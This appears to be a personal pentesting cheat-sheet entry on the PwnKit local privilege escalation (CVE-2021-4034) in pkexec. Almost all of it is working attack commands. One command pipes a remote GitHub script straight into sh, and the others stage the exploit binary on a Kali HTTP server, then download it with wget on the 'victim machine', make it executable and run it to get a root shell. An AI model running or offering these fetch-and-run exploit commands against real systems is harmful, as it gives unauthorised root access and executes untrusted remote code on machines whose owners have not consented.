Pwnkit vulnerability

Run this if Linpeas.sh suggests the victim is vulnerable to this exploit.

Below is the original command:

GitHub - ly4k/PwnKit: Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege EscalationGitHub

Original command

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Exploit part 🤞

I will download .sh file first in kali linux and start the server.

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit || exit
python3 -m http.server 80

Run below command in victim machine...

wget http://$IP_KALI/PwnKit && chmod +x ./PwnKit && ./PwnKit

After running the above command you will get the shell as root.